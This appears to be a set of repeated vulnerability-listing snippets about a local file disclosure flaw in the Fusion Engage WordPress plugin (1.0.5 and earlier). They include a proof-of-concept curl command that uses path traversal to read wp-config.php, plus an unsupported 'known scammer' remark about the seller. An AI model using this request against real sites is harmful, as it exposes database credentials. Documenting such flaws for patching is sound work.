Fusion Engage 1.0.5 - Local File Disclosure

The fusion-engage WordPress plugin was affected by a Local File Disclosure security vulnerability. PoC curl --data "action=fegetsvhtml=../wp-config.php" "http://www.example.com/wp-admin/admin-ajax.php";...

WordPress Fusion Engage Local File Disclosure

Fusion Engage is a commercial wordpress plugin sold by internet marketer and known scammer Precious Ngwu to.. I'm actually not sure. Something to do with video embedding. Anyway, it has a LFD. Here's the relevant code.. function fegetsvhtml global $wpdb, $videodb, $anndb;...

WordPress Fusion Engage Plugin <= 1.0.5 - Local File Disclosure

This plugin is prone to a local file disclosure vulnerability. Solution Update the plugin...

Fusion Engage 1.0.5 - Local File Disclosure

The fusion-engage WordPress plugin was affected by a Local File Disclosure security vulnerability. curl --data "action=fegetsvhtml&video=../wp-config.php" "http://www.example.com/wp-admin/admin-ajax.php";...